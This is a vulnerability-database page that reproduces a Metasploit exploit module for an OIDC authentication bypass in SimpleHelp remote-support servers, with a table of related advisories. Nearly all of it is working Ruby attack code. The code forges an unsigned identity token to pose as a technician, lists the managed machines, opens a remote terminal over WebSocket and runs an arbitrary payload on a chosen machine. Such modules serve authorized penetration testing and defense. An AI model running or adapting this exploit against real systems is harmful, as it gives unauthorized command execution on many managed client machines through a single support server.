Lucene search
+L

SimpleHelp OIDC Authentication Bypass Remote Code Execution

🗓️ 12 Jun 2026 00:00:00Reported by Zach Hanley, Horizon3.ai, Blackpoint Cyber, jheysel-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 5 Views

OIDC auth bypass in SimpleHelp 5.5.0-5.5.15 enables RCE via forged token and WebSocket terminal.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Verification of Cryptographic Signature in Simple-Help Simplehelp
2 Jul 202616:11
githubexploit
circl
Circl
CVE-2026-48558
13 Jun 202615:00
circl
cisa_kev
CISA KEV Catalog
SimpleHelp Authentication Bypass Vulnerability
29 Jun 202600:00
cisa_kev
cve
CVE
CVE-2026-48558
12 Jun 202617:07
cve
cvelist
Cvelist
CVE-2026-48558 SimpleHelp Authentication Bypass via Missing OIDC JWT Signature Verification
12 Jun 202617:07
cvelist
euvd
EUVD
EUVD-2026-36509
12 Jun 202617:07
euvd
kitploit
Kitploit
CVE-2026-48558
31 Aug 202601:09
kitploit
nvd
NVD
CVE-2026-48558
12 Jun 202618:16
nvd
packetstorm
Packet Storm
...[ More ]
2 Sep 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-48947
12 Jun 202600:00
ptsecurity
Rows per page
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  TECH_SERVER_PLANE = 0
  USER_CONNECT_PLANE = 2
  SOCKET_SETUP_PLANE = 0
  TERMINAL_PLANE = 5

  TRANSACTION_WRAPPER = -1_524_849_380
  GET_MACHINE_LIST = 13_000
  CONNECT_TO_MACHINE = 8_000

  TOTP_TOKEN_REQUEST = 170
  SOCKET_FIRST = -4_517_462
  SOCKET_PASSWORD_OK = -1_412_623_820
  SOCKET_BAD_PASSWORD = 1_126_292_666
  TERMINAL_COMMAND = 655_362
  TERMINAL_OUTPUT = 655_363
  TERMINAL_NEW = 655_369

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SimpleHelp OIDC Authentication Bypass Remote Code Execution',
        'Description' => %q{
          This module exploits CVE-2026-48558 to forge an OpenID Connect identity token and
          obtain a SimpleHelp technician session. It then uses SimpleHelp's legitimate remote
          access WebSocket protocol to connect to an online managed machine and execute a
          payload through the remote terminal.

          An OIDC provider must be enabled for a technician group that permits group-authenticated
          logins. The group must be allowed to access the selected machine and run remote commands.
          The SimpleHelp server must have a valid session license, and at least one managed machine
          must be online.

          SimpleHelp 5.5.0 through 5.5.15 are affected. Some SimpleHelp 6.0 prerelease builds before
          6.0 RC2 are also affected.
        },
        'Author' => [
          'Zach Hanley', # Discovery
          'Horizon3.ai', # Vulnerability research
          'Blackpoint Cyber', # Post-authentication intrusion chain
          'jheysel-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2026-48558'],
          ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/'],
          ['URL', 'https://guides.simple-help.com/kb---security-vulnerabilities-05-2026'],
          ['URL', 'https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/']
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2026-06-12',
        'Privileged' => true,
        'Payload' => {
          'BadChars' => "\x00\r\n"
        },
        'Targets' => [
          [
            'Unix/Linux/macOS Command',
            {
              'Platform' => %w[linux osx unix],
              'Arch' => ARCH_CMD,
              'Shell' => 3,
              'OSPattern' => /Linux|Ubuntu|Debian|Fedora|Red Hat|CentOS|macOS|Mac OS/i
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Shell' => 1,
              'OSPattern' => /Windows/i
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the SimpleHelp installation', '/']),
        OptString.new('OIDC_PROVIDER', [false, 'The OIDC provider name (the first available provider is used by default)']),
        OptString.new('MACHINE_ID', [false, 'The managed machine ID to obtain a session on (the first online machine is used by default)']),
        OptString.new('NEW_USERNAME', [true, 'The username claim for the forged technician', Faker::Internet.username(specifier: 8..12)]),
        OptString.new('NEW_EMAIL', [true, 'The email claim for the forged technician', Faker::Internet.email]),
        OptString.new('NEW_DISPLAY_NAME', [true, 'The display name claim for the forged technician', Faker::Name.name])
      ]
    )
  end

  def check
    version_res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'allversions')
    )
    return CheckCode::Unknown('No response received from the target') unless version_res
    return CheckCode::Unknown('Unable to retrieve the SimpleHelp version') unless version_res.body =~ /^Visual Version:\s*(\d+\.\d+(?:\.\d+)?)/

    version = Rex::Version.new(Regexp.last_match(1))
    unless version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.15'))
      if version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')
        return CheckCode::Detected("SimpleHelp #{version} detected; the version string does not identify affected 6.0 prerelease builds")
      end

      return CheckCode::Safe("SimpleHelp version #{version} is not affected")
    end

    providers = oidc_providers
    return CheckCode::Safe("SimpleHelp #{version} does not expose an enabled OIDC provider") if providers.empty?

    provider_names = providers.filter_map { |provider| provider['name'] }.join(', ')
    CheckCode::Appears("SimpleHelp #{version} exposes OIDC provider(s): #{provider_names}")
  rescue StandardError => e
    CheckCode::Unknown("Failed to check the target: #{e.message}")
  end

  def exploit
    cookie_jar.clear
    session_cookie = create_technician_session
    @wsock = connect_ws(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'Cookie' => "#{session_cookie.name}=#{session_cookie.value}"
      }
    )

    technician = authenticate_websocket(session_cookie.value)
    report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: ssl ? 'https' : 'http',
      info: 'SimpleHelp remote support server'
    )
    machine = select_machine(enumerate_machines)
    validate_machine_target!(machine)

    print_status("Connecting to managed machine #{machine['name'].inspect} (#{machine['machineID']})")
    establish_remote_terminal(machine['machineID'], technician)

    print_status("Executing the payload through the #{target.name} terminal")
    send_user_plane(TERMINAL_PLANE, {
      'type' => TERMINAL_COMMAND,
      'terminalNumber' => 0,
      'dataString' => "#{payload.encoded}\n"
    })

    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: name,
      info: "Executed a command on managed machine #{machine['machineID']} through a forged technician session",
      refs: references
    )
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    fail_with(Failure::Unreachable, "The SimpleHelp WebSocket connection failed: #{e.message}")
  end

  def cleanup
    @wsock&.wsclose
  rescue StandardError
    nil
  ensure
    super
  end

  def create_technician_session
    provider = select_provider
    print_status("Requesting an authorization flow for OIDC provider #{provider['name'].inspect}")

    callback = "#{normalize_uri(target_uri.path, 'webapps', 'technician')}/"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'oidc_get'),
      'vars_get' => {
        'payload' => provider.merge('callback' => callback).to_json
      },
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, 'No response received while starting the OIDC flow') unless res
    fail_with(Failure::UnexpectedReply, "OIDC flow request returned HTTP #{res.code}") unless res.code == 200

    authorization_url = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'The OIDC flow response did not contain an authorization URL') unless authorization_url.is_a?(String)

    begin
      authorization_query = URI.decode_www_form(URI.parse(authorization_url).query.to_s).to_h
    rescue URI::InvalidURIError, ArgumentError => e
      fail_with(Failure::UnexpectedReply, "The OIDC authorization URL could not be parsed: #{e.message}")
    end

    state = authorization_query['state']
    fail_with(Failure::UnexpectedReply, 'The OIDC authorization URL did not contain a state parameter') if state.blank?

    claims = {
      'sub' => Faker::Internet.uuid,
      'preferred_username' => datastore['NEW_USERNAME'],
      'name' => datastore['NEW_DISPLAY_NAME'],
      'email' => datastore['NEW_EMAIL'],
      'iat' => Time.now.to_i,
      'exp' => Time.now.to_i + 3600
    }
    claims['nonce'] = authorization_query['nonce'] if authorization_query['nonce'].present?

    id_token = [
      Rex::Text.encode_base64url({ 'alg' => 'none', 'typ' => 'JWT' }.to_json),
      Rex::Text.encode_base64url(claims.to_json),
      'x'
    ].join('.')

    print_status("Submitting a forged identity token for #{datastore['NEW_USERNAME'].inspect}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'oidc'),
      'vars_post' => {
        'state' => state,
        'id_token' => id_token
      },
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, 'No response received from the OIDC callback') unless res
    fail_with(Failure::UnexpectedReply, "The OIDC callback returned HTTP #{res.code}") unless [200, 302].include?(res.code)

    status_res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'status'),
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, 'No response received while verifying the technician session') unless status_res
    fail_with(Failure::UnexpectedReply, "The account status endpoint returned HTTP #{status_res.code}") unless status_res.code == 200

    status = status_res.get_json_document
    unless status.is_a?(Hash) && status['state'] == 'FULLY_AUTHENTICATED' && status['code'] == 1
      fail_with(Failure::NoAccess, 'The forged identity token did not create an authenticated technician session')
    end

    session_cookie = cookie_jar.cookies.find { |cookie| cookie.name == 'shelp-tc-sessionid' }
    fail_with(Failure::UnexpectedReply, 'Authentication succeeded but the technician session cookie was not found') unless session_cookie

    print_good("Authenticated as SimpleHelp technician #{status.dig('user', 'username') || datastore['NEW_USERNAME']}")
    session_cookie
  end

  def authenticate_websocket(session_token)
    send_websocket_message('credentials' => { 'sessionToken64' => session_token })
    login_accepted = false

    wait_for_websocket_message('technician WebSocket authentication') do |message|
      if message['code'] == TOTP_TOKEN_REQUEST
        send_websocket_message('message' => 'NONE')
        next false
      end

      if message['code'] == 1
        login_accepted = true
        next false
      end

      if message['code'] && message['code'] < 0
        fail_with(Failure::NoAccess, 'The technician session was rejected by the WebSocket endpoint')
      end

      next false unless login_accepted && message['transientTechUser'].is_a?(Hash)

      message['transientTechUser']
    end
  end

  def enumerate_machines
    send_tech_transaction(0, 'type' => GET_MACHINE_LIST)
    machines = wait_for_websocket_message('managed machine list') do |message|
      candidate = message.dig('payload', 'payload', 'machines') if message['plane'] == TECH_SERVER_PLANE
      candidate.is_a?(Array) ? candidate : false
    end
    print_status("Found #{machines.length} managed machine#{machines.length == 1 ? '' : 's'}")
    machines
  end

  def select_machine(machines)
    requested_id = datastore['MACHINE_ID']
    if requested_id.present?
      machine = machines.find { |candidate| candidate['machineID'] == requested_id }
      fail_with(Failure::BadConfig, "Managed machine #{requested_id.inspect} was not found") unless machine
    else
      machine = machines.find { |candidate| candidate['online'] }
      fail_with(Failure::NotFound, 'No online managed machines are visible to the forged technician') unless machine
    end

    fail_with(Failure::NoTarget, "Managed machine #{machine['machineID']} is offline") unless machine['online']
    machine
  end

  def validate_machine_target!(machine)
    machine_os = machine['os'].to_s
    return if machine_os.match?(target['OSPattern'])

    fail_with(Failure::BadConfig, "The selected #{target.name} target does not match managed machine OS #{machine_os.inspect}")
  end

  def establish_remote_terminal(machine_id, technician)
    send_tech_transaction(1, {
      'type' => CONNECT_TO_MACHINE,
      'machineID' => machine_id
    })

    connection_accepted = false
    socket_authenticated = false
    terminal_output = +''

    wait_for_websocket_message('remote terminal prompt', timeout: 45) do |message|
      if message['plane'] == TECH_SERVER_PLANE && message.dig('payload', 'conv') == 1
        response = message.dig('payload', 'payload')
        if response['type'] == -3
          fail_with(Failure::NoAccess, "SimpleHelp refused the remote session: #{response['note']}")
        elsif response['type'].to_i < 0
          fail_with(Failure::UnexpectedReply, "SimpleHelp returned remote connection error #{response['type']}: #{response['note']}")
        elsif response['type'] == 1
          connection_accepted = true
        end
      end

      next false unless message['plane'] == USER_CONNECT_PLANE

      nested = message['payload']
      next false unless nested.is_a?(Hash) && nested['plane']

      nested_payload = nested['payload']
      next false unless nested_payload.is_a?(Hash)

      if nested['plane'] == SOCKET_SETUP_PLANE
        case nested_payload['type']
        when SOCKET_FIRST
          send_user_plane(SOCKET_SETUP_PLANE, 'password' => '')
        when SOCKET_BAD_PASSWORD
          fail_with(Failure::NoAccess, 'The managed machine requires a remote access password')
        when SOCKET_PASSWORD_OK
          basic_technician = {
            'uniqueID' => technician['uniqueID'],
            'displayName' => technician['displayName'],
            'username' => technician['username'],
            'emailAddress' => technician['emailAddress'],
            'isOnline' => true
          }
          send_user_plane(SOCKET_SETUP_PLANE, basic_technician)
          Rex.sleep(0.5)
          send_user_plane(TERMINAL_PLANE, {
            'type' => TERMINAL_NEW,
            'terminalNumber' => 0,
            'shell' => target['Shell']
          })
          socket_authenticated = true
        end
      elsif nested['plane'] == TERMINAL_PLANE && nested_payload['type'] == TERMINAL_OUTPUT
        data = nested_payload['data']
        terminal_output << data.pack('C*') if data.is_a?(Array)
      end

      connection_accepted && socket_authenticated && terminal_output.match?(/[>$%]\s*\z|#\s*\z/)
    end
  end

  def send_tech_transaction(conversation_id, request)
    send_websocket_message(
      'plane' => TECH_SERVER_PLANE,
      'payload' => {
        'type' => TRANSACTION_WRAPPER,
        'conv' => conversation_id,
        'payload' => request
      }
    )
  end

  def send_user_plane(plane, payload)
    send_websocket_message(
      'plane' => USER_CONNECT_PLANE,
      'payload' => {
        'plane' => plane,
        'payload' => payload
      }
    )
  end

  def send_websocket_message(message)
    @wsock.put_wstext(message.to_json)
  end

  def wait_for_websocket_message(description, timeout: 20)
    deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout
    loop do
      remaining = deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)
      fail_with(Failure::TimeoutExpired, "Timed out waiting for #{description}") if remaining <= 0

      message = receive_websocket_message(remaining)
      result = yield(message)
      return result if result
    end
  end

  def receive_websocket_message(timeout)
    frame = ::Timeout.timeout(timeout) do
      loop do
        frame = @wsock.get_wsframe
        fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') unless frame

        if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::PING
          @wsock.put_wsframe(frame.dup.tap { |reply| reply.header.opcode = Rex::Proto::Http::WebSocket::Opcode::PONG })
          next
        end
        fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
        next unless frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::TEXT

        break frame
      end
    end

    JSON.parse(frame.payload_data.to_s)
  rescue ::Timeout::Error
    fail_with(Failure::TimeoutExpired, 'Timed out waiting for a SimpleHelp WebSocket response')
  rescue JSON::ParserError => e
    fail_with(Failure::UnexpectedReply, "SimpleHelp returned an invalid WebSocket JSON message: #{e.message}")
  end

  def oidc_providers
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'login_options')
    )
    return [] unless res&.code == 200

    options = res.get_json_document
    return [] unless options.is_a?(Array)

    options.select { |provider| provider.is_a?(Hash) && %w[oidc azure].include?(provider['type']) }
  end

  def select_provider
    providers = oidc_providers
    fail_with(Failure::NotFound, 'No enabled OIDC provider was exposed by SimpleHelp') if providers.empty?

    requested_provider = datastore['OIDC_PROVIDER']
    return providers.first if requested_provider.blank?

    provider = providers.find { |candidate| candidate['name'] == requested_provider }
    fail_with(Failure::BadConfig, "OIDC provider #{requested_provider.inspect} was not found") unless provider

    provider
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation